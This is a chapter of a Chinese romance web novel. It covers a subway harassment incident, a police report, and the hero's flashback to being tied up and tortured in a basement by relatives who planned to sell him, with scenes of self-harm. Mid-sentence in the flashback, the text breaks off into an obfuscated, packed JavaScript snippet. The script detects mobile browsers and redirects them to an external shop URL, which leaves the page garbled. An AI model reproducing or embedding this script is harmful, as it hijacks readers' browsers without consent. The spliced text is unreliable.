83. 地下室
作品:《触月》 那人很快挤了过来,把手搭在丁似霰肩头,凑得很近:“哎呀这不是表哥吗!这位是嫂子?”
丁似霰没说话,只是强硬地掰开那人的手,拉起云安洛,把她搂在怀里,想要离开这个地方。
这种行为在拥挤的地铁上很显然并不明智,但云安洛也没有阻止他。
云安洛不知道那人想对丁似霰做什么,但她能感受到一股很重的恶意。
直到走出地铁,那人还跟在云安洛和丁似霰身后,像狗皮膏药一样絮絮叨叨。
“嫂子你不认识我吧?我叫余勇,是丁似霰表弟。”
“表哥你别着急走啊,我们兄弟多长时间没见过了,怎么都不叙叙旧?难道你不想回忆一下我们的游戏吗?”
丁似霰的手在抖。
这不仅仅是厌恶,还有恐惧。
“嫂子你想不想看看表哥的视频,你还不知道吧,他从前……”
丁似霰再也忍不住,反手就捏住余勇的手腕,反着关节的方向掰了过去。
余勇和云安洛差不多高,被他这样一提,瞬间站不稳了,嘴上却没有闲着:“嫂子你怎么跟了他呢,要不你今晚跟我……”
云安洛卸了他的下巴。
不会说话就别说了。
没有等到余勇喊救命,云安洛直接对着地铁安保的方向喊了一嗓子:“有人骚扰!”
她说余勇骚扰她,不接受调解,报警。
派出所。
云安洛和警察说,余勇不仅骚扰她,还在公共场合偷拍女生裙底,并且手机里连接了针孔摄像头,不知道是在偷拍哪里。
丁似霰一脸疑惑。
但是在派出所,也不是个探索的好地方。
警察看完地铁站里的监控,又查了余勇手机后,告诉云安洛和丁似霰,余勇在地铁站里的行为没有办法认定为性骚扰,但是他确实有偷拍照片和视频,警察已经去旅店处理摄像头了,至于余勇肯定是要判的。
如果云安洛对于这个结果没有异议,可以签字离开了。
派出所就在香锦家园附近,两个人走回去的路上,丁似霰一言不发,只是依旧牵着云安洛的手。
关上大门后,云安洛说道:“我都是猜的,往严重了说警察才会狠狠查,无论查出点什么都够他关一阵子,地铁站里的监控录不清声音,他又没真的对我动手,所以肯定构不成性骚扰。
只是没想到这家伙真的又坏又蠢。”
丁似霰依旧没说什么,只是淡淡的“嗯”了一声。
“洛洛……对不起……”丁似霰忽然抱住云安洛,“对不起,又是因为我……”
“亲爱的小光,你已经说一晚上对不起了,但不是你的错,况且我并没有损失任何东西,除了一些好心情。”
云安洛见丁似霰并没有回应,又抚着他的背说道:“哎呀,想开点,也算做了个好事,至少今晚上会少几个针孔摄像头,也会有很多姑娘以后免受被偷拍的遭遇。”
丁似霰点点头,但神色依旧很黯淡。
“当然,如果你可以面带笑容的补偿我一个真爱之吻,我的好心情一定会回来的!”
丁似霰自然知道云安洛在哄他,他也不想让这种压抑的氛围延续下去。
他俯下身,很虔诚的在云安洛唇上落下一个吻。
可回到家,洗澡、换衣服、吹头发……他都没有再说话。
吹好头发后,云安洛从身后搂住丁似霰,才发现他浑身上下都冒着凉气。
云安洛又给丁似霰披了件睡袍,绕到他身前,握住他的手,放在自己颈窝处。
她用了些力,阻止丁似霰抽回手。
“你洗的冷水澡?”
“嗯。”
“有没有不舒服?要不要我把电热毯打开?”
丁似霰摇摇头。
“那,我们关灯睡觉好不好?”
丁似霰沉默了许久,才缓缓开口:“洛洛,我想……自己待一晚,可以吗?”
他一定,发生过什么不好的事情,和余勇有关。
大概是高考前他失联的那些天里,大概是在余家村,大概是,和他身上那些伤有关。
但很显然,丁似霰如今并不想说,云安洛也没有问。
她只是点点头,把丁似霰的脸捧在手心里,“如果你哪里不舒服的话要立刻告诉我,发消息或是直接来钻我被窝都行,我可以什么都不问,但你不要用以前的事情和别人的错折磨你自己,好不好?”
其实丁似霰的胃已经在隐隐作痛了,冷水澡不仅会让他的精神冷静一些,更会让云安洛这半个月以来为了让他养身体所做的努力前功尽弃。
但似乎只有肉.体上的疼痛,能阻止他回忆起过去那些零碎的片段。
丁似霰缓缓点了点头,“好。”
大骗子又在骗人了。
只是云安洛没有发现,她放丁似霰去了隔壁屋,没有跟过去。
当然她也没有相信,只是她感觉,既然丁似霰想要独处的时间,就该给他。
云安洛关了灯趴在床上查了查余勇这种情况会判多久。
她希望余勇没有传播过那些图片和视频,这样被偷拍的女孩们就会少受些伤害。
可这样,大概连一年都判不到。
为什么不能直接物理阉割这种人?
云安洛又随意翻看了两眼手机,便睡着了,去游乐场是真的很累。
……
丁似霰躺在床上,只要一闭上眼睛,就会想起曾经那些事。他那段时间都是靠着安眠药才能入睡,可惜现在手里并没有。
他侧躺在床边,用手机的折角怼着胃部。
疼点也好,疼晕了,就不想那些事情了。
阴暗无光的地下室里,丁似霰被粗糙的麻绳捆在角落,嘴里还被塞满了破布。
他的腰被紧紧绑在柱子上,手反绑在身后。丁似霰一时间不知道是不是该夸夸他的好舅舅,足够绝情。
夏季的衣物很薄,他只是略微挣扎了一会,捆绑处就都磨破了皮。
他一边企图解开手上的绳子,一边努力地吐出嘴里的布。
绑绳子的人不算太熟练,这个结虽不松散,但也不是很紧。
况且丁似霰摸出了这是什么结。
他叫不出名字,但洛洛教过他怎么解。
这是余铁林,也就是丁似霰舅舅家的地下室。他几年前还来过这里,帮家里搬东西,没想到第二次造访,就是被关了进来。
丁似霰刚刚抽出手,就被余铁林撞了个正着。
结果,自然是被重新绑回去。
依旧是麻绳,但是紧了很多,紧到丁似霰感觉他喘气的幅度大一些,腰间都会勒得生疼。
“我的好外甥,别费力气了,你跑不掉,”余铁林搬了个凳子坐在丁似霰对面,“多亏你这小子模样生得好,还能换个好价钱,真没想到还他妈能有人要男人!”
丁似霰嘴里的布塞得更多了,他根本说不出任何话,只能抬起眼看着余铁林。
“看什么看!死老太太把余劲睿娶媳妇的彩礼钱拿去给你妈交医药费了,不然我至于这么着急弄你吗!”
余劲睿,余铁林的大儿子,春节的时候好像就说在准备结婚,但是女方的彩礼没有谈拢。
余铁林蹲在丁似霰身前,用皮带抽了两下丁似霰的脸。他不敢用力,丁似霰这脸如果划花了,钱上面可就亏了。
余铁林一边向地下室的出口走去,一边说着:“你家年前的时候给老太太治病可没少拿钱,看来运大货不少赚。等你死了,你妈那边没人给交钱用不了几天也活不了,钱也是我的,哈哈哈哈哈哈哈哈哈哈哈哈!”
原来只是因为钱。
但至少,听这话的意思,余铁林动不了余美兰,他目前还不能越过医院。
丁似霰又努力了很久,却发现这次他再也挣脱不开这些麻绳。
地下室并不通风,也没有光亮,但这里和外面一样闷热。
丁似霰在这里昏昏沉沉地不知道待了多久,中途只有余铁林又来过两次,捏着他的嘴灌了些水。
那麻绳很脏,又捆得紧,丁似霰腰上一圈已经有些感染化脓了。
再次看到人,是余勇。
那时余勇也只有十五六岁。
他拿着许多东西,气势汹汹向丁似霰走去。可惜,丁似霰早就昏死过去了,余勇完全得不到那种恐吓他人的快乐。
丁似霰是被冰啤酒浇醒的。他还没来得及看清眼前的人是谁,头就被酒瓶重重砸了一下,很快有血流了出来,渗进丁似霰的眼睛里。
他只能睁开一只眼睛,看着眼前的人。
丁似霰一直以为,余勇不喜欢说话。每次丁似霰回来,他总是不理人,成天不知道跑出去做些什么。
没想到,余勇这么恨丁似霰。
因为年龄相仿,余铁林总会把余勇和丁似霰放在一起比较,然后发现余勇一无是处,再随便抄起什么把余勇胖揍一顿。
原来这就是他们说的,如果老余家也有个出息的就好了。
余勇点了支烟,控诉过这些后,直接拿着还在冒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908975|192437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
火星的烟头怼在丁似霰胸前。
丁似霰的感知已经不是很灵敏了,他甚至在怀疑他到底还是不是活着的。
应该是活着,因为痛感是真实的。
余勇说,请丁似霰体验一下他的日子。
烟头、酒瓶、皮带、藤条……甚至最后,使足了力气一脚踢在丁似霰腹部。
“丁似霰!你醒醒!”
“丁似霰?”
有人在喊他。
很熟悉,可是丁似霰想不起来是谁。
他好像突然被关进了另一个空间,四周都是黑色的。可这次,他的手好像并没有被绑住。
有人在推他。
丁似霰下意识攥紧了那两只手的腕部,想要制止住外界一切的动作。
“丁似霰你松手!不过血了!我手疼!”
丁似霰这才意识到,似乎是在梦里,他想睁开眼,却怎样也做不到。
他只感觉到自己呼吸越发急促,几番努力下,猛地睁开眼,才发现他正死死攥着云安洛的手腕。
他松开手,又慌乱地把云安洛的手腕放在手心揉着,嘴里一直说着“对不起”。
“没事的,”云安洛想要抽出手,却发现丁似霰依旧握得很紧,她只好凑得近了些,轻声说道:“你发烧了,把退烧药和解挛药吃了好不好?”
丁似霰点点头。
“那我去给你拿点水,先把我的手放开?”
“还,还疼吗?”他像个做错事的小孩,低着头小心翼翼问着。
“不疼,”云安洛抽出手,揉了揉丁似霰的头,“我们家小光哪舍得用力捏我是不是?”
怎么没有用力?丁似霰分明看到,云安洛手腕红了一圈,甚至被手链珠子硌着的地方已然泛着青紫。
云安洛不是挣脱不开,她完全只是想以此把丁似霰从噩梦中拉出来。
云安洛很快,接了杯温水来,坐在丁似霰床边,把他扶进自己怀里。
吃药、喝水,丁似霰都很乖。但他好像并没有完全从梦境中抽离,吃过药后紧紧抱着云安洛,身体还在止不住地微微颤栗。
云安洛把手搭在丁似霰上腹,吃过药了,暖暖就好,她还是感觉把痉挛揉开这件事太疼了点。
可丁似霰似乎并不这么想,他伸过手来企图带着云安洛深深怼进去。
“不行!”云安洛扯过丁似霰的手,又把其拎回到自己腰间,“忍一会,药劲上来就好了。”
云安洛把一旁的被子拉过来,盖在丁似霰身上,又打开了电热毯。
刚刚她虽睡着了,但是心里惦记着丁似霰,也确实很难睡熟。
云安洛醒过来时,习惯性看了眼手机,才仅仅过了三十几分钟。
但已经过了困劲,她也再睡不着,索性蹑手蹑脚打开门,踮着脚走到丁似霰房间门口。
他没有关灯,透过门上小小的磨砂玻璃能看到,他大概是窝在了床的边缘,远离墙角那一侧。
云安洛把耳朵贴在门上,却发现屋里十分安静……他没开空调。
云安洛感觉,她似乎是应该进去看看。
但丁似霰说他想自己待着。
……
这个家,还是应该听云安洛的。
云安洛礼貌性敲敲门,没有回应。
“丁似霰?我进来可以不?”
依旧没有回应。
于是,云安洛直接,拧开了门把手。
空调、电热毯一个不开,洗冷水澡还不盖被,云安洛刚进来的时候发现他甚至把窗户打开了,而且是开到了最大!
疯了,彻底疯了!
真就想享年二十八岁整是吧?
但是很奇怪,看着丁似霰这幅样子,云安洛第一个冲进脑子的情绪不是生气,或者说没有生气,只是很心疼。
她一下又一下抚着丁似霰的背,柔声说道:“别想了,梦都是假的。”
丁似霰摇着头,“是真的,都是真的……”
“那也已经过去了,不会再发生的。别怕,以后我陪着你。”
丁似霰就这样安静地抱着云安洛躺了许久,才缓缓开口:“洛洛,疼……”
云安洛能感受到掌心下的肌肉越发紧绷,并没有因为吃了药有任何缓解,反倒越发严重。
丁似霰的声音几近央求:“揉一揉,好不好……”
“嗯。”云安洛无奈只能应下,她没忘掉丁似霰把自己吃出抗药性这件事,只是想着也半个月没吃药了,该好点了吧?
很显然并没有。
该死的余勇。

